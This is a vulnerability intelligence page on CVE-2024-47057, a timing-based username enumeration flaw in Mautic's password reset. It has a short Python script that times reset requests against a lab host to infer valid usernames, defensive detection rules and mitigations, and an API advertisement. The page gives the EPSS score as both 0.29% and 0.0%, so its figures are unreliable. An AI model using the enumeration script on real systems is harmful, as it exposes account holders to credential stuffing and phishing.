☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Mautic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-203
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-47057

CVE-2024-47057 Timing Attack in Mautic
📅 PUBLISHED: 2025-05-28 17:23 UTC 🔄 UPDATED: 2026-09-24 05:59 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-47057 is a user enumeration vulnerability in Mautic, an open-source marketing automation platform. The flaw resides in the "Forget your password" functionality, where an unauthenticated attacker can exploit timing differences in server responses to determine whether a given username exists. This is a classic timing-based user enumeration attack (CWE-203). The vulnerability is rated with a CVSS score of 5.3 (Medium), primarily due to low attack complexity and no required privileges, but limited to information disclosure only. No public exploit code or proof-of-concept has been released, and the EPSS score is 0.0%, indicating a very low probability of exploitation in the wild. The vendor has not released a specific patch version, but recommends normalizing response times to mitigate the issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Mautic is a PHP-based application distributed via Composer. The vulnerability affects the core password reset logic, not a third-party package. However, organizations using Mautic should verify their deployment version and apply any available updates from the official repository. No malicious packages or compromised dependencies have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is performed remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply sends password reset requests.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – The victim user does not need to perform any action.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) – Only the existence of usernames is disclosed.
  • Integrity (I): None (N) – No data modification is possible.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the impact is limited to information disclosure, user enumeration can be a stepping stone for more targeted attacks, such as credential stuffing or phishing.

Deep Dive & Mechanics

The vulnerability exists in the password reset endpoint (typically /password/reset or similar). When a user submits a username or email, the application performs a database lookup. If the user exists, the system proceeds to generate a reset token and send an email. If the user does not exist, it returns an error or a generic message. The flaw is that the response time differs between these two paths:

  • Existing user: The server takes longer because it generates a token, updates the database, and sends an email (or at least prepares the email).
  • Non-existing user: The server returns immediately with an error.

An attacker can measure these response times over the network to infer valid usernames. Without request rate limiting, the attacker can automate this process to enumerate a large number of usernames.

Technical Flow:

  1. Attacker sends POST request to /password/reset with username=admin.
  2. Server checks if admin exists in the database.
  3. If exists: Server generates a reset token, stores it, and sends an email. Response time: ~500ms.
  4. If not exists: Server returns an error immediately. Response time: ~50ms.
  5. Attacker repeats with different usernames, measuring response times.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

public function resetPassword(Request $request) {
    $username = $request->get('username');
    $user = $this->userRepository->findByUsername($username);
    if ($user) {
        // Generate token and send email (takes time)
        $token = $this->generateToken();
        $this->sendResetEmail($user, $token);
        return new Response('Check your email', 200);
    } else {
        // Immediate error
        return new Response('User not found', 404);
    }
}

Patched Code (Conceptual PHP):

public function resetPassword(Request $request) {
    $username = $request->get('username');
    $user = $this->userRepository->findByUsername($username);
    // Always perform the same operations to normalize timing
    $token = $this->generateToken();
    if ($user) {
        $this->sendResetEmail($user, $token);
    } else {
        // Simulate email sending delay
        usleep(500000); // 500ms delay
    }
    return new Response('If the account exists, a reset email has been sent.', 200);
}

The patched version ensures that both paths take approximately the same amount of time, eliminating the timing side channel.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  • Target: A Mautic instance (e.g., http://target.mautic.local).
  • Attacker machine: Kali Linux with Python3 and requests library.

Exploitation Script:

import requests
import time

target_url = "http://target.mautic.local/password/reset"
usernames = ["admin", "user", "test", "john", "jane"]

for username in usernames:
    start = time.time()
    response = requests.post(target_url, data={"username": username})
    elapsed = time.time() - start
    print(f"{username}: {elapsed:.3f}s - Status: {response.status_code}")

Expected Output:

admin: 0.512s - Status: 200
user: 0.048s - Status: 404
test: 0.051s - Status: 404
john: 0.498s - Status: 200
jane: 0.045s - Status: 404

Usernames with response times > 0.3s are likely valid.

Blue Team (Defender)

Detection:

  • Monitor for multiple password reset requests from the same IP in a short time.
  • Look for abnormal response time patterns (e.g., consistent 500ms vs 50ms).
  • Implement rate limiting on the password reset endpoint.

Mitigation:

  • Apply the vendor's recommended fix (normalize response times).
  • Add CAPTCHA to the password reset form.
  • Log all password reset attempts and alert on anomalies.

Indicators of Compromise (IOCs)

  • Network: Multiple POST requests to /password/reset with varying usernames from a single IP.
  • Timing: Response times consistently around 500ms for some usernames and 50ms for others.
  • Logs: Repeated User not found responses followed by Check your email responses from the same source IP.
  • User-Agent: May be a custom script (e.g., Python requests library) or automated tool.

Detection Engineering

YARA Rule

rule CVE_2024_47057_User_Enumeration {
    meta:
        description = "Detects potential user enumeration via timing attack on Mautic password reset"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-47057"
    strings:
        $s1 = "password/reset" ascii wide nocase
        $s2 = "username=" ascii wide nocase
        $s3 = "Check your email" ascii wide nocase
        $s4 = "User not found" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: Mautic User Enumeration via Timing Attack
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple password reset requests with varying response times indicating user enumeration
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/password/reset'
    condition: selection
    timeframe: 5m
    aggregation:
        - field: c-ip
          condition: gt 10
falsepositives:
    - Legitimate users forgetting passwords
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47057 Mautic User Enumeration Attempt"; flow:to_server; content:"POST"; http_method; content:"/password/reset"; http_uri; content:"username="; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Apply the vendor's recommended fix by normalizing response times for password reset requests. If a patch is not available, implement a custom middleware that adds a random delay to all responses.
  2. Rate Limiting: Implement strict rate limiting on the password reset endpoint (e.g., 5 requests per minute per IP).
  3. CAPTCHA: Add a CAPTCHA challenge to the password reset form to prevent automated requests.
  4. Logging & Monitoring: Enable detailed logging of password reset attempts and set up alerts for anomalous patterns.
  5. User Education: Advise users to use strong, unique usernames that are not easily guessable.
  6. Network Segmentation: If possible, place the Mautic instance behind a WAF that can detect and block enumeration attempts.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-47057/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.